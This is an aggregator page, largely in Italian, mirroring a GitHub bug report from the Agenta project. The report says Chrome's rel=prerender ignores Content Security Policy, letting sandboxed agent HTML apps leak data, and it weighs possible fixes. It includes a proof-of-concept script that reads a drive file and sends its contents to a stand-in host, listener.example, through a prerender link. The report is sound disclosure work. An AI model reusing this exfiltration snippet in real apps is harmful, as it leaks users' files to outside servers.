Run apps can send one request per load via <link rel="prerender">, which ignores CSP (Chrome)
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 5/5
- Tempo stimato
- Più di una settimana
- Idoneità per principianti
- 25/100
- Tipo di issue
- Bug
- Chiarezza
- Specificata chiaramente
- Stato di attività
- Attiva
- Stack tecnologico
- github, html, javascript, typescript
Direzione di ricerca
Start with the Run hardening work in #7066 and the contract at docs/design/agent-html-apps/contracts.md; the issue does not name implementation or test files. First assess the listed fix options and verify the Chrome behavior, since the proposed approaches differ in robustness and scope. Done means closing or explicitly documenting the rel=prerender data-exfiltration gap; the issue also notes Firefox and Safari remain untested.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
🤖 The AI agent says:
In Chrome, an agent HTML app running in the drive's Run tab can send one network request per page load with data in its URL, by adding a <link rel="prerender"> element. Chrome's prerender prefetch ignores the app's Content Security Policy.
Reproduction
-
Turn on the Agent apps preference.
-
In an agent's drive, create an app (for example
create_app board@1inapps/x). Add this to itsindex.html:<script> window.agenta.ready .then(() => window.agenta.fs.read("app.json")) .then((text) => { const link = document.createElement("link") link.rel = "prerender" link.href = "https://listener.example/x?d=" + encodeURIComponent(text.slice(0, 200)) document.head.appendChild(link) }) </script>Use a listener you control in place of
listener.example. -
Open the file, choose Run, and grant access.
-
The listener receives
GET /x?d=<file contents>withSec-Purpose: prefetch. The same happens with a static<link rel="prerender">in the markup.
The same request also leaves from a plain top-level page whose CSP is default-src 'none', so this is Chrome behaviour, not something specific to the Run frame.
Expected vs actual
- Expected: a Run app can reach the drive only through the bridge and cannot send data to any other origin.
RUN_CSPsetsdefault-src 'none', and the wrapper frame from #7066 setsframe-src 'none'. - Actual: Chrome sends the
rel=prerenderprefetch regardless of CSP, so the app gets one request per load to any URL, with whatever it could read in the query string.
Scope
- The gap predates v0.120.0. The Run hardening in #7066 closed the other ways out that were tested, including self-navigation, meta refresh,
data:/blob:/javascript:hops, link clicks, forms, prefetch/preconnect,sendBeaconand keepalive fetch. It also stopped the bridge port reaching a second document. - Run sits behind the Agent apps preference, which is off by default. An app only gets drive access after the user grants it.
- The grant sheet now says the app's code "can read these files and may be able to send what it reads outside Agenta".
docs/design/agent-html-apps/contracts.mdrecords the gap. - Only Chrome was tested. Firefox and Safari were not checked.
Options for a real fix
- Serve apps from a separate, locked-down origin. Run apps on a dedicated app-host origin that returns the policy as an HTTP header, not a meta tag. That origin could add further network controls: for example, no DNS for arbitrary hosts in a hardened deployment, or a response that disables speculative loading. This is the most robust option, but it is a hosting change (new origin, header config, self-host docs).
- Neutralise
rel=prerenderin the document. The bridge stub runs before app code, so it could patchHTMLLinkElement.prototype.rel,relList,setAttributeandsetAttributeNode, and strip staticlink[rel~=prerender]in the assembler. This is best effort only: markup inserted throughinnerHTML,document.writeorinsertAdjacentHTMLis created by the parser, not the setters, so the list of paths never ends. - Watch Chromium.
rel=prerendernow maps to NoState Prefetch. If Chromium drops it or makes it honour CSP, this closes on its own. A test that loads a probe page in Chrome would tell us when. - Keep the current state and document it. Treat Run apps as able to send out what they read, and gate access on trust. This is where the product is today.
Evidence from the v0.120.0 release QA (Chrome probes, including a top-level page with the same CSP) is available on request.
- Lingua principale
- TypeScript
- Stelle
- 4.8k
- Fork
- 690
- Merge medio
- 21h 42m
- PR unite (30g)
- 459
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di Agenta-AI/agenta
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
Agenta-AI/agenta#7468 · 1 commento · 1 reazione ·
I maintainer di solito rispondono entro 1 giorno
-
(bug) The Stop button disappears for a moment before an approval card showsForse di nuovo libera @rishu685 l’ha presa 7 giorni fa e non c’è nessuna pull request aperta. Apertabug
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
Agenta-AI/agenta#7446 · 2 commenti · 1 reazione ·
I maintainer di solito rispondono entro 1 giorno
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 83/100
Agenta-AI/agenta#7441 · 1 commento · 1 reazione ·
I maintainer di solito rispondono entro 1 giorno
-
(bug) Settings > Usage opens AI providers when billing is offForse già presa Una pull request collegata a questa issue è aperta o già unita. Apertabug frontend
Difficoltà 2/5 1-3 ore Idoneità per principianti 65/100
Agenta-AI/agenta#7426 · 2 commenti · 2 reazioni ·
I maintainer di solito rispondono entro 1 giorno
-
No CI job runs the mobile app's unit testsForse già presa @Mahaboob-Ashraf l’ha presa 7 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
Agenta-AI/agenta#7326 · 2 commenti · 1 reazione ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di Agenta-AI/agenta
Issue simili
-
area:ui effort:S enhancement priority:P2
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
QuantumNous/new-api#7839 ·
I maintainer di solito rispondono entro 1 giorno
-
good first issue maintenance
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
dark-princezz/stellar-hooks#1010 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
interledger/rhyza#352 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 70/100
I maintainer di solito rispondono entro 1 giorno